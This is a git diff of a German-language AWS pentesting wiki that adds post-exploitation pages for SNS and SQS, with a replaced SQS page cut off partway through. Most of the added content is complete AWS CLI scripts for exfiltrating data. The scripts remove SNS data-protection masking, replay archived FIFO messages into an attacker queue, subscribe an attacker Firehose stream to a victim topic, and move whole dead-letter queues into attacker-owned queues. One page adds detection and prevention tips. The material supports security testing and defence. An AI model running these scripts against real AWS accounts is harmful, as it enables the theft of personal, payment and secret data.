+"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
+"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
+}]
+}
+JSON
+aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
+```
+
+3) Abonnieren Sie die Angreifer-Queue und veröffentlichen Sie eine Nachricht mit einer Test-Kreditkartennummer, prüfen Sie die Maskierung
+
+```bash
+SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
+aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
+```
+
+Erwarteter Ausschnitt zeigt Maskierung (Hashes):
+```json
+"Message" : "payment:{cc:################}"
+```
+4) Downgrade die Policy auf audit-only (keine deidentify/deny-Anweisungen, die Outbound betreffen)
+
+Für SNS müssen Audit statements Inbound sein. Das Ersetzen der Policy durch eine Audit-only Inbound statement entfernt jegliche Outbound de-identification, sodass Nachrichten unverändert an subscribers weitergeleitet werden.
+```bash
+cat > /tmp/ht-dlp-audit-only.json <<'JSON'
+{
+"Name": "__ht_dlp_policy",
+"Version": "2021-06-01",
+"Statement": [{
+"Sid": "AuditInbound",
+"Principal": ["*"],
+"DataDirection": "Inbound",
+"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
+"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
+}]
+}
+JSON
+aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
+```
+
+5) Publish die gleiche Nachricht und verifiziere, dass der unmaskierte Wert geliefert wird
+```bash
+aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
+```
+Erwarteter Auszug zeigt Klartext-CC:
+```text
+4539894458086459
+```
+## Auswirkungen
+- Das Umschalten eines Topics von de-identification/deny auf audit-only (oder das anderweitige Entfernen von Outbound-Kontrollen) erlaubt es PII/secrets, unverändert an von Angreifern kontrollierte Subscriptions weitergeleitet zu werden und ermöglicht damit Datenexfiltration, die sonst maskiert oder blockiert worden wäre.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md
new file mode 100644
index 000000000..7284d2442
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md
@@ -0,0 +1,100 @@
+# SNS FIFO Archiv-Wiedergabe-Exfiltration über Attacker SQS FIFO Subscription
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Missbrauch der Amazon SNS FIFO Topic-Nachrichtenarchivierung, um zuvor veröffentlichte Nachrichten wiederzugeben und an eine von Attacker kontrollierte SQS FIFO-Queue zu exfiltrieren, indem die Subscription `ReplayPolicy` gesetzt wird.
+
+- Dienst: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
+- Voraussetzungen: Topic muss `ArchivePolicy` aktiviert haben (Nachrichtenarchivierung). Attacker kann sich auf das Topic Subscribe und Attribute auf ihrer Subscription setzen. Attacker kontrolliert eine SQS FIFO-Queue und erlaubt dem Topic, Nachrichten zu senden.
+- Auswirkung: Historische Nachrichten (vor der Subscription veröffentlichte) können an den Attacker-Endpunkt zugestellt werden. Wiedergegebene Zustellungen werden im SNS-Envelope mit `Replayed=true` gekennzeichnet.
+
+## Preconditions
+- SNS FIFO topic mit aktivierter Archivierung: `ArchivePolicy` (z. B. `{ "MessageRetentionPeriod": "2" }` für 2 Tage).
+- Attacker hat Berechtigungen für:
+- `sns:Subscribe` auf dem Ziel-Topic.
+- `sns:SetSubscriptionAttributes` auf der erstellten Subscription.
+- Attacker hat eine SQS FIFO-Queue und kann eine Queue-Policy anhängen, die `sns:SendMessage` vom Topic-ARN erlaubt.
+
+## Minimum IAM permissions
+- Auf dem Topic: `sns:Subscribe`.
+- Auf der Subscription: `sns:SetSubscriptionAttributes`.
+- Auf der Queue: `sqs:SetQueueAttributes` für die Policy, und eine Queue-Policy, die `sns:SendMessage` vom Topic-ARN erlaubt.
+
+## Angriff: Wiedergabe archivierter Nachrichten an Attacker SQS FIFO
+Der Attacker subscribed seine SQS FIFO-Queue am Opfer-SNS-FIFO-Topic und setzt dann die `ReplayPolicy` auf einen Zeitstempel in der Vergangenheit (innerhalb des Archivaufbewahrungsfensters). SNS spielt sofort passende archivierte Nachrichten an die neue Subscription zurück und kennzeichnet sie mit `Replayed=true`.
+
+Hinweise:
+- Der in der `ReplayPolicy` verwendete Zeitstempel muss >= dem `BeginningArchiveTime` des Topics sein. Ist er früher, gibt die API `Invalid StartingPoint value` zurück.
+- Für SNS FIFO `Publish` muss ein `MessageGroupId` angegeben werden (und entweder eine Dedup-ID oder `ContentBasedDeduplication` aktiviert sein).
+
+<details>
+<summary>End-to-end CLI POC (us-east-1)</summary>
+```bash
+REGION=us-east-1
+# Compute a starting point; adjust later to >= BeginningArchiveTime if needed
+TS_START=$(python3 - << 'PY'
+from datetime import datetime, timezone, timedelta
+print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ'))
+PY
+)
+
+# 1) Create SNS FIFO topic with archiving (2-day retention)
+TOPIC_NAME=htreplay$(date +%s).fifo
+TOPIC_ARN=$(aws sns create-topic --region "$REGION" \
+--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \
+--query TopicArn --output text)
+
+echo "Topic: $TOPIC_ARN"
+
+# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
+for i in $(seq 1 3); do
+aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \
+--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \
+--message-group-id g1 >/dev/null
+done
+
+# 3) Create attacker SQS FIFO queue and allow only this topic to send
+Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \
+--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \
+--attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+cat > /tmp/ht-replay-sqs-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$TOPIC_ARN"}}}]}
+JSON
+# Use CLI input JSON to avoid quoting issues
+aws sqs set-queue-attributes --region "$REGION" --cli-input-json "$(python3 - << 'PY'
+import json, os
+print(json.dumps({
+'QueueUrl': os.environ['Q_URL'],
+'Attributes': {'Policy': open('/tmp/ht-replay-sqs-policy.json').read()}
+}))
+PY
+)"
+
+# 4) Subscribe the queue to the topic
+SUB_ARN=$(aws sns subscribe --region "$REGION" --topic-arn "$TOPIC_ARN" \
+--protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
+
+echo "Subscription: $SUB_ARN"
+
+# 5) Ensure StartingPoint is >= BeginningArchiveTime
+BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text)
+START=${TS_START}
+if [ -n "$BEGIN" ]; then START="$BEGIN"; fi
+
+aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \
+--attribute-name ReplayPolicy \
+--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}"
+
+# 6) Receive replayed messages (note Replayed=true in the SNS envelope)
+aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \
+--max-number-of-messages 10 --wait-time-seconds 10 \
+--message-attribute-names All --attribute-names All
+```
+</details>
+
+## Auswirkungen
+**Potentielle Auswirkungen**: Ein Angreifer, der sich bei einem SNS FIFO topic mit aktivierter Archivierung abonnieren kann und `ReplayPolicy` auf seiner Subscription setzt, kann sofort historische Nachrichten, die an dieses Topic veröffentlicht wurden, replayen und exfiltrieren, nicht nur Nachrichten, die nach Erstellung der Subscription gesendet wurden. Gelieferte Nachrichten enthalten ein `Replayed=true` Flag im SNS envelope.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
new file mode 100644
index 000000000..d21c88b7a
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
@@ -0,0 +1,76 @@
+# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Missbrauche das Firehose-Subscription-Protokoll, um einen vom Angreifer kontrollierten Kinesis Data Firehose delivery stream an einem Opfer-SNS-Standard-Topic zu registrieren. Sobald die Subscription eingerichtet ist und die erforderliche IAM-Rolle `sns.amazonaws.com` vertraut, wird jede zukünftige Benachrichtigung dauerhaft in den S3-Bucket des Angreifers geschrieben — mit minimalem Lärm.
+
+## Anforderungen
+- Berechtigungen im Angreiferkonto, um einen S3-Bucket, einen Firehose delivery stream und die von Firehose verwendete IAM-Rolle zu erstellen (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, etc.).
+- Die Möglichkeit, sich mit `sns:Subscribe` am Opfer-Topic zu abonnieren (und optional `sns:SetSubscriptionAttributes`, falls die Subscription-Rollen-ARN nach der Erstellung angegeben wird).
+- Eine Topic-Policy, die dem Angreifer-Principal das Abonnieren erlaubt (oder der Angreifer bereits im selben Account agiert).
+
+## Angriffsschritte (Beispiel im selben Account)
+```bash
+REGION=us-east-1
+ACC_ID=$(aws sts get-caller-identity --query Account --output text)
+SUFFIX=$(date +%s)
+
+# 1) Create attacker S3 bucket and Firehose delivery stream
+ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX
+aws s3 mb s3://$ATTACKER_BUCKET --region $REGION
+
+STREAM_NAME=ht-firehose-stream-$SUFFIX
+FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX
+
+# Role Firehose assumes to write into the bucket
+aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{
+"Version": "2012-10-17",
+"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}]
+}'
+
+cat > /tmp/firehose-s3-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:AbortMultipartUpload","s3:GetBucketLocation","s3:GetObject","s3:ListBucket","s3:ListBucketMultipartUploads","s3:PutObject"],"Resource":["arn:aws:s3:::$ATTACKER_BUCKET","arn:aws:s3:::$ATTACKER_BUCKET/*"]}]}
+JSON
+aws iam put-role-policy --role-name "$FIREHOSE_ROLE_NAME" --policy-name AllowS3Writes --policy-document file:///tmp/firehose-s3-policy.json
+
+aws firehose create-delivery-stream \
+--delivery-stream-name "$STREAM_NAME" \
+--delivery-stream-type DirectPut \
+--s3-destination-configuration RoleARN=arn:aws:iam::$ACC_ID:role/$FIREHOSE_ROLE_NAME,BucketARN=arn:aws:s3:::$ATTACKER_BUCKET \
+--region $REGION >/dev/null
+
+# 2) IAM role SNS assumes when delivering into Firehose
+SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX
+aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{
+"Version": "2012-10-17",
+"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}]
+}'
+
+cat > /tmp/allow-firehose.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["firehose:PutRecord","firehose:PutRecordBatch"],"Resource":"arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME"}]}
+JSON
+aws iam put-role-policy --role-name "$SNS_ROLE_NAME" --policy-name AllowFirehoseWrites --policy-document file:///tmp/allow-firehose.json
+
+SNS_ROLE_ARN=arn:aws:iam::$ACC_ID:role/$SNS_ROLE_NAME
+
+# 3) Subscribe Firehose to the victim topic
+TOPIC_ARN=<VICTIM_TOPIC_ARN>
+aws sns subscribe \
+--topic-arn "$TOPIC_ARN" \
+--protocol firehose \
+--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \
+--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \
+--region $REGION
+
+# 4) Publish test message and confirm arrival in S3
+aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION
+sleep 90
+aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
+```
+## Bereinigung
+- Lösche die SNS-Subscription, den Firehose-Delivery-Stream, temporäre IAM-Rollen/-Policies und den S3-Bucket des Angreifers.
+
+## Auswirkung
+**Mögliche Auswirkung**: Kontinuierliche, dauerhafte exfiltration jeder Nachricht, die an das gezielte SNS-Topic veröffentlicht wird, in vom Angreifer kontrollierten Speicher mit minimaler operativer Spur.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
new file mode 100644
index 000000000..b8bf7207e
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
@@ -0,0 +1,150 @@
+# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
+
+## Beschreibung
+
+Missbrauche SQS message move tasks, um alle angesammelten Nachrichten aus der Dead-Letter Queue (DLQ) eines Opfers zu stehlen, indem du sie mit `sqs:StartMessageMoveTask` auf eine vom Angreifer kontrollierte Queue umleitest. Diese Technik nutzt die legitime Message-Recovery-Funktion von AWS, um sensible Daten zu exfiltrieren, die sich im Laufe der Zeit in DLQs angesammelt haben.
+
+## Was ist eine Dead-Letter Queue (DLQ)?
+
+Eine Dead-Letter Queue ist eine spezielle SQS-Queue, in die Nachrichten automatisch gesendet werden, wenn sie von der Hauptanwendung nicht erfolgreich verarbeitet werden können. Diese fehlgeschlagenen Nachrichten enthalten oft:
+- Sensible Anwendungsdaten, die nicht verarbeitet werden konnten
+- Fehlerdetails und Debugging-Informationen
+- Personenbezogene Daten (PII)
+- API-Token, Anmeldeinformationen oder andere Geheimnisse
+- Geschäftskritische Transaktionsdaten
+
+DLQs fungieren als "Friedhof" für fehlgeschlagene Nachrichten und sind deshalb wertvolle Ziele, da sie im Laufe der Zeit sensible Daten ansammeln, die von Anwendungen nicht korrekt verarbeitet werden konnten.
+
+## Angriffsszenario
+
+**Beispiel aus der Praxis:**
+1. **E-Commerce-Anwendung** verarbeitet Kundenbestellungen über SQS
+2. **Einige Bestellungen schlagen fehl** (Zahlungsprobleme, Inventarprobleme, etc.) und werden in eine DLQ verschoben
+3. **Die DLQ sammelt** Wochen/Monate an fehlgeschlagenen Bestellungen mit Kundendaten: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
+4. **Angreifer erlangt Zugriff** auf AWS-Credentials mit SQS-Berechtigungen
+5. **Angreifer entdeckt**, dass die DLQ Tausende fehlgeschlagener Bestellungen mit sensiblen Daten enthält
+6. **Anstatt zu versuchen, auf einzelne Nachrichten zuzugreifen** (langsam und auffällig), nutzt der Angreifer `StartMessageMoveTask`, um ALLE Nachrichten gesammelt in seine eigene Queue zu übertragen
+7. **Angreifer extrahiert** alle historischen sensiblen Daten in einer Operation
+
+## Voraussetzungen
+- Die Quell-Queue muss als DLQ konfiguriert sein (von mindestens einer Queue per RedrivePolicy referenziert).
+- IAM-Berechtigungen (ausgeführt als kompromittierte Opfer-Principal):
+- Auf der DLQ (Quelle): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
+- Auf der Ziel-Queue: Berechtigung, Nachrichten zuzustellen (z. B. Queue-Policy, die `sqs:SendMessage` vom Opfer-Principal erlaubt). Für Ziele im selben Account ist dies üblicherweise standardmäßig erlaubt.
+- Wenn SSE-KMS aktiviert ist: auf der Quell-CMK `kms:Decrypt`, und auf der Ziel-CMK `kms:GenerateDataKey`, `kms:Encrypt`.
+
+## Auswirkung
+Exfiltriere sensible Payloads, die sich in DLQs angesammelt haben (fehlgeschlagene Events, PII, Tokens, Anwendungs-Payloads), mit hoher Geschwindigkeit unter Verwendung der nativen SQS-APIs. Funktioniert kontoübergreifend, wenn die Ziel-Queue-Policy `SendMessage` vom Opfer-Principal erlaubt.
+
+## Missbrauch
+
+- Identifiziere die DLQ-ARN des Opfers und stelle sicher, dass sie tatsächlich von mindestens einer Queue als DLQ referenziert wird (jede Queue reicht).
+- Erstelle oder wähle eine vom Angreifer kontrollierte Ziel-Queue und beschaffe deren ARN.
+- Starte eine Message-Move-Task von der DLQ des Opfers zu deiner Ziel-Queue.
+- Überwache den Fortschritt oder breche ab, falls nötig.
+
+### CLI-Beispiel: Exfiltrieren von Kundendaten aus einer E-Commerce-DLQ
+
+**Szenario**: Ein Angreifer hat AWS-Credentials kompromittiert und entdeckt, dass eine E-Commerce-Anwendung SQS mit einer DLQ verwendet, die fehlgeschlagene Versuche der Kundenbestellungsverarbeitung enthält.
+
+1) **DLQ des Opfers finden und untersuchen**
+```bash
+# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
+aws sqs list-queues --queue-name-prefix dlq
+
+# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
+VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
+SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# Check how many messages are in the DLQ (potential treasure trove!)
+aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
+--attribute-names ApproximateNumberOfMessages
+# Output might show: "ApproximateNumberOfMessages": "1847"
+```
+2) **Erstelle eine vom Angreifer kontrollierte Ziel-Queue**
+```bash
+# Create our exfiltration queue
+ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
+ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+echo "Created exfiltration queue: $ATTACKER_Q_ARN"
+```
+3) **Führe den massenhaften Nachrichtendiebstahl durch**
+```bash
+# Start moving ALL messages from victim DLQ to our queue
+# This operation will transfer thousands of failed orders containing customer data
+echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
+TASK_RESPONSE=$(aws sqs start-message-move-task \
+--source-arn "$SRC_ARN" \
+--destination-arn "$ATTACKER_Q_ARN" \
+--max-number-of-messages-per-second 100)
+
+echo "Move task started: $TASK_RESPONSE"
+
+# Monitor the theft progress
+aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
+```
+4) **Sammle die gestohlenen sensiblen Daten**
+```bash
+# Receive the exfiltrated customer data
+echo "Receiving stolen customer data..."
+aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--attribute-names All --message-attribute-names All \
+--max-number-of-messages 10 --wait-time-seconds 5
+
+# Example of what an attacker might see:
+# {
+#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
+#   "MessageId": "12345-abcd-6789-efgh"
+# }
+
+# Continue receiving all messages in batches
+while true; do
+MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--max-number-of-messages 10 --wait-time-seconds 2 --output json)
+
+if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
+echo "No more messages - exfiltration complete!"
+break
+fi
+
+echo "Received batch of stolen data..."
+# Process/save the stolen customer data
+echo "$MESSAGES" >> stolen_customer_data.json
+done
+```
+### Cross-Account-Hinweise
+- Die Ziel-Queue muss eine Resource-Policy haben, die dem victim principal `sqs:SendMessage` erlaubt (und, falls verwendet, KMS-Grants/Berechtigungen).
+
+## Warum dieser Angriff effektiv ist
+
+1. **Legitime AWS-Funktion**: Verwendet eingebaute AWS-Funktionalität, wodurch es schwer ist, dies als bösartig zu erkennen
+2. **Massenoperation**: Überträgt tausende Nachrichten schnell, statt über langsamen Einzelzugriff
+3. **Historische Daten**: DLQs sammeln über Wochen/Monate sensible Daten an
+4. **Unauffällig**: Viele Organisationen überwachen DLQ-Zugriffe nicht genau
+5. **Cross-Account-fähig**: Kann in das eigene AWS-Konto des Angreifers exfiltrieren, wenn Berechtigungen es erlauben
+
+## Erkennung und Prävention
+
+### Erkennung
+Überwache CloudTrail auf verdächtige `StartMessageMoveTask` API-Aufrufe:
+```json
+{
+"eventName": "StartMessageMoveTask",
+"sourceIPAddress": "suspicious-ip",
+"userIdentity": {
+"type": "IAMUser",
+"userName": "compromised-user"
+},
+"requestParameters": {
+"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
+"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
+}
+}
+```
+### Prävention
+1. **Prinzip der geringsten Privilegien**: Beschränke die Berechtigungen `sqs:StartMessageMoveTask` ausschließlich auf die notwendigen Rollen
+2. **DLQs überwachen**: Richte CloudWatch-Alarme für ungewöhnliche DLQ-Aktivitäten ein
+3. **Kontenübergreifende Richtlinien**: Überprüfe sorgfältig SQS-Queue-Richtlinien, die kontenübergreifenden Zugriff erlauben
+4. **DLQs verschlüsseln**: Verwende SSE-KMS mit eingeschränkten Schlüsselrichtlinien
+5. **Regelmäßige Bereinigung**: Lasse sensible Daten nicht unbegrenzt in DLQs ansammeln
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
deleted file mode 100644
index ed786db86..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
+++ /dev/null
@@ -1,73 +0,0 @@
-# AWS - SQS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### `sqs:SendMessage` , `sqs:SendMessageBatch`
-
-Ein Angreifer könnte bösartige oder unerwünschte Nachrichten an die SQS-Warteschlange senden, was möglicherweise zu Datenkorruption, ungewollten Aktionen oder Ressourcenerschöpfung führen könnte.
-```bash
-aws sqs send-message --queue-url <value> --message-body <value>
-aws sqs send-message-batch --queue-url <value> --entries <value>
-```
-**Potenzielle Auswirkungen**: Ausnutzung von Schwachstellen, Datenkorruption, unbeabsichtigte Aktionen oder Ressourcenerschöpfung.
-
-### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
-
-Ein Angreifer könnte Nachrichten in einer SQS-Warteschlange empfangen, löschen oder die Sichtbarkeit von Nachrichten ändern, was zu Nachrichtenverlust, Datenkorruption oder Dienstunterbrechungen für Anwendungen führen kann, die auf diese Nachrichten angewiesen sind.
-```bash
-aws sqs receive-message --queue-url <value>
-aws sqs delete-message --queue-url <value> --receipt-handle <value>
-aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
-```
-**Potenzielle Auswirkungen**: Sensible Informationen stehlen, Nachrichtenverlust, Datenkorruption und Dienstunterbrechung für Anwendungen, die auf die betroffenen Nachrichten angewiesen sind.
-
-### `sqs:DeleteQueue`
-
-Ein Angreifer könnte eine gesamte SQS-Warteschlange löschen, was zu Nachrichtenverlust und Auswirkungen auf Anwendungen führt, die auf die Warteschlange angewiesen sind.
-```arduino
-Copy codeaws sqs delete-queue --queue-url <value>
-```
-**Potenzielle Auswirkungen**: Nachrichtenverlust und Dienstunterbrechung für Anwendungen, die die gelöschte Warteschlange verwenden.
-
-### `sqs:PurgeQueue`
-
-Ein Angreifer könnte alle Nachrichten aus einer SQS-Warteschlange löschen, was zu Nachrichtenverlust und potenzieller Störung von Anwendungen führen könnte, die auf diese Nachrichten angewiesen sind.
-```arduino
-Copy codeaws sqs purge-queue --queue-url <value>
-```
-**Potenzielle Auswirkungen**: Nachrichtenverlust und Dienstunterbrechung für Anwendungen, die auf die entfernten Nachrichten angewiesen sind.
-
-### `sqs:SetQueueAttributes`
-
-Ein Angreifer könnte die Attribute einer SQS-Warteschlange ändern, was möglicherweise ihre Leistung, Sicherheit oder Verfügbarkeit beeinträchtigt.
-```arduino
-aws sqs set-queue-attributes --queue-url <value> --attributes <value>
-```
-**Potenzielle Auswirkungen**: Fehlkonfigurationen, die zu einer verringerten Leistung, Sicherheitsproblemen oder reduzierter Verfügbarkeit führen.
-
-### `sqs:TagQueue` , `sqs:UntagQueue`
-
-Ein Angreifer könnte Tags von SQS-Ressourcen hinzufügen, ändern oder entfernen, was die Kostenallokation, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, stören würde.
-```bash
-aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
-aws sqs untag-queue --queue-url <value> --tag-keys <key>
-```
-**Potenzielle Auswirkungen**: Störung der Kostenallokation, Ressourcenverfolgung und tagbasierter Zugriffskontrollrichtlinien.
-
-### `sqs:RemovePermission`
-
-Ein Angreifer könnte Berechtigungen für legitime Benutzer oder Dienste widerrufen, indem er Richtlinien entfernt, die mit der SQS-Warteschlange verbunden sind. Dies könnte zu Störungen im normalen Betrieb von Anwendungen führen, die auf die Warteschlange angewiesen sind.
-```arduino
-arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
-```
-**Potenzielle Auswirkungen**: Störung der normalen Funktion von Anwendungen, die auf die Warteschlange angewiesen sind, aufgrund unbefugter Entfernung von Berechtigungen.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md
new file mode 100644
index 000000000..fced0fd9a
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md
@@ -0,0 +1,83 @@
+# AWS - SQS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### `sqs:SendMessage` , `sqs:SendMessageBatch`
+
+Ein Angreifer könnte bösartige oder unerwünschte Nachrichten an die SQS-Queue senden, was potenziell zu Datenkorruption, dem Auslösen unbeabsichtigter Aktionen oder zur Erschöpfung von Ressourcen führen kann.
+```bash
+aws sqs send-message --queue-url <value> --message-body <value>
+aws sqs send-message-batch --queue-url <value> --entries <value>
+```
+**Mögliche Auswirkungen**: Ausnutzung von Schwachstellen, Datenkorruption, unbeabsichtigte Aktionen oder Ressourcenerschöpfung.
+
+### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
+
+Ein Angreifer könnte Nachrichten in einer SQS-Warteschlange empfangen, löschen oder deren Sichtbarkeit ändern, was zum Verlust von Nachrichten, zur Datenkorruption oder zur Dienstunterbrechung für Anwendungen führen kann, die auf diese Nachrichten angewiesen sind.
+```bash
+aws sqs receive-message --queue-url <value>
+aws sqs delete-message --queue-url <value> --receipt-handle <value>
+aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
+```
+**Mögliche Auswirkungen**: Diebstahl sensibler Informationen, Verlust von Nachrichten, Datenbeschädigung und Dienstunterbrechungen für Anwendungen, die auf die betroffenen Nachrichten angewiesen sind.
+
+### `sqs:DeleteQueue`
+
+Ein Angreifer könnte eine gesamte SQS queue löschen, was zum Verlust von Nachrichten führt und Anwendungen beeinträchtigt, die auf die queue angewiesen sind.
+```bash
+aws sqs delete-queue --queue-url <value>
+```
+**Mögliche Auswirkungen**: Nachrichtenverlust und Dienstunterbrechung für Anwendungen, die die gelöschte Queue verwenden.
+
+### `sqs:PurgeQueue`
+
+Ein Angreifer könnte alle Nachrichten aus einer SQS-Queue löschen, was zu Nachrichtenverlust und möglicher Beeinträchtigung von Anwendungen führt, die auf diese Nachrichten angewiesen sind.
+```bash
+aws sqs purge-queue --queue-url <value>
+```
+**Potentielle Auswirkungen**: Nachrichtenverlust und Dienstunterbrechungen für Anwendungen, die auf die gelöschten Nachrichten angewiesen sind.
+
+### `sqs:SetQueueAttributes`
+
